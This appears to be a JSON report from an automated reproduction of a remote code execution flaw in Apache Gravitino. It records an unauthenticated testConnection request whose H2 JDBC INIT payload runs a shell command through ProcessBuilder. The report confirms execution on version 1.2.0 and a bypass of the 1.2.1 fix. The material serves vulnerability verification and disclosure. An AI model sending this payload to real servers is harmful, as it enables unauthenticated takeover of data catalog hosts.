{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/metalakes/{metalake}/catalogs/testConnection with provider=lakehouse-paimon, type=RELATIONAL, properties {catalog-backend=jdbc, uri=jdbc:h2:mem:<rand>;INIT=CREATE ALIAS EXEC AS '...ProcessBuilder(\"id > marker\")...';CALL EXEC(), jdbc-driver=org.h2.Driver, jdbc-user=test, jdbc-password=test, warehouse=/tmp/paimon_wh} -- sent unauthenticated (no Authorization header; default SimpleAuthenticator + gravitino.authorization.enable=false)",
  "service_started": true,
  "healthcheck": "GET /api/version returned {\"code\":0,\"version\":{\"version\":\"1.2.1\",...}}",
  "vulnerable_version": {
    "version": "1.2.0",
    "git_commit": "1c1665f05e24f69833bcedfb0e6dc6b477f95dc4",
    "rce_confirmed": true,
    "attempts_confirmed": 2,
    "marker_content": "uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)",
    "datasourceutils_h2_block_fired": false,
    "request_status": 500,
    "request_body_excerpt": "Failed to connect: jdbc:h2:mem:...;INIT=CREATE ALIAS EXEC AS '...'"
  },
  "fixed_version": {
    "version": "1.2.1",
    "git_commit": "e88bffcfc31b7a656c960245b63b1e4c4901b8ee",
    "rce_confirmed": true,
    "is_bypass": true,
    "attempts_confirmed": 2,
    "marker_content": "uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)",
    "datasourceutils_h2_block_fired": false,
    "request_status": 500,
    "request_body_excerpt": "Failed to connect: jdbc:h2:mem:paimonrce...;INIT=CREATE ALIAS EXEC AS 'String f() throws Exception { new ProcessBuilder(new String[]{\"sh\",\"-c\",\"id > ...marker...\"}).start().waitFor(); return \"ok\"; }';CALL EXEC()",
    "server_stack_excerpt": [
      "java.lang.RuntimeException: Failed to connect: jdbc:h2:mem:...;INIT=CREATE ALIAS ...",
      "at org.apache.paimon.jdbc.JdbcCatalog.<init>(JdbcCatalog.java:98)",
      "at org.apache.paimon.jdbc.JdbcCatalogFactory.create(JdbcCatalogFactory.java:42)",
      "at org.apache.gravitino.catalog.lakehouse.paimon.utils.CatalogUtils.loadCatalogBackendWithSimpleAuth(CatalogUtils.java:115)",
      "at org.apache.gravitino.catalog.lakehouse.paimon.utils.CatalogUtils.loadCatalogBackend(CatalogUtils.java:59)",
      "at org.apache.gravitino.catalog.lakehouse.paimon.ops.PaimonCatalogOps.<init>(PaimonCatalogOps.java:48)",
      "at org.apache.gravitino.catalog.lakehouse.paimon.PaimonCatalogOperations.initialize(PaimonCatalogOperations.java:120)"
    ],
    "datasourceutils_h2_block_message_count_in_server_log": 0
  },
  "idempotency": {
    "runs_executed": 2,
    "exit_codes": [0, 0],
    "consistent": true
  },
  "runtime_environment": {
    "java": "openjdk 17.0.19",
    "h2_driver": "libs/h2-1.4.200.jar (bundled, server shared classpath)",
    "paimon_jdbc_catalog": "org.apache.paimon.jdbc.JdbcCatalog (bundled in catalogs/lakehouse-paimon)",
    "server_config": "default (SimpleAuthenticator, gravitino.authorization.enable=false, H2 entity-store backend, auxService.names disabled for test)"
  },
  "evidence_paths": {
    "orchestrator_log": "bundle/logs/vuln_variant/variant_repro.log",
    "fixed_version_json": "bundle/logs/vuln_variant/fixed_version.json",
    "vuln_version_json": "bundle/logs/vuln_variant/vuln_version.json",
    "fixed_attempt_logs": ["bundle/logs/vuln_variant/paimon_fixed_attempt_1.log", "bundle/logs/vuln_variant/paimon_fixed_attempt_2.log"],
    "vuln_attempt_logs": ["bundle/logs/vuln_variant/paimon_vuln_attempt_1.log", "bundle/logs/vuln_variant/paimon_vuln_attempt_2.log"],
    "fixed_marker": "bundle/logs/vuln_variant/rce_marker_paimon_fixed_latest.txt",
    "vuln_marker": "bundle/logs/vuln_variant/rce_marker_paimon_vuln_latest.txt",
    "fixed_server_log": "bundle/logs/vuln_variant/paimon_fixed_server.log",
    "fixed_stack_excerpt": "bundle/logs/vuln_variant/fixed_bypass_stack_excerpt.txt",
    "run_stdout": ["bundle/logs/vuln_variant/variant_run_stdout.log", "bundle/logs/vuln_variant/variant_run_stdout_2.log"]
  }
}